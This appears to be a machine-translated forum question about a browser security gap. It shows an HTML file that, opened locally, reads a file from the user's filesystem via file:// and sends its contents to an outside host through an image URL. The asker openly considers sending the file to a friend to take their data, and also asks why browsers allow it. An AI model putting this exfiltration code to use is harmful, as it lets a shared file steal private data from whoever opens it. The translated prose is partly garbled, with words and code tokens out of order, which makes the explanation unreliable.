セキュリティについて話しましょう。理論的には、ユーザーがhtmlファイルを開いた場合(ネットワークからではなく、ファイルシステムから開いた場合)、スクリプトを使用してユーザーのファイルシステムから情報を取得できるようです。コードを見てください:
info.txt:
my info
index.html:
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function () {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
一部のブラウザ(Firefoxなど)では、をfile://
介してファイルを取得XmlHttpRequest
できるため、ファイルへのパスを推測すると、ajaxでコンテンツを取得できます。次に、クエリ文字列のパラメータを使用してドメインにつながるimg
タグを動的に追加できます。src
そしてブラウザは素直にリクエストをしGET ?data=my%20info%0A domain.com
ます。サーバー側では、クエリ文字列を解析してデータを取得できます。
私はこれを行うことができますか?彼が私のhtmlファイルを開いた場合、彼のコンピューターからユーザーのデータを取得できるのは正しいですか?だから私はただ言うことができます:「ねえ、友達、このファイルをチェックしてください!」(2つの制限があります:ユーザーはFirefoxまたは同様の構成を持つ他のものを使用する必要があり、アクセス権のためにユーザーがアクセスできないファイルを取得できません)。
更新しました:
可能なら、なぜそれが可能なのでしょうか?なぜ彼らはあなたがそのようなことをすることを可能にするのですか?確認ダイアログなどがないのはなぜですか。
更新2:
誰かがこの問題についてレビューをしてくれると素晴らしいでしょう。前もって感謝します!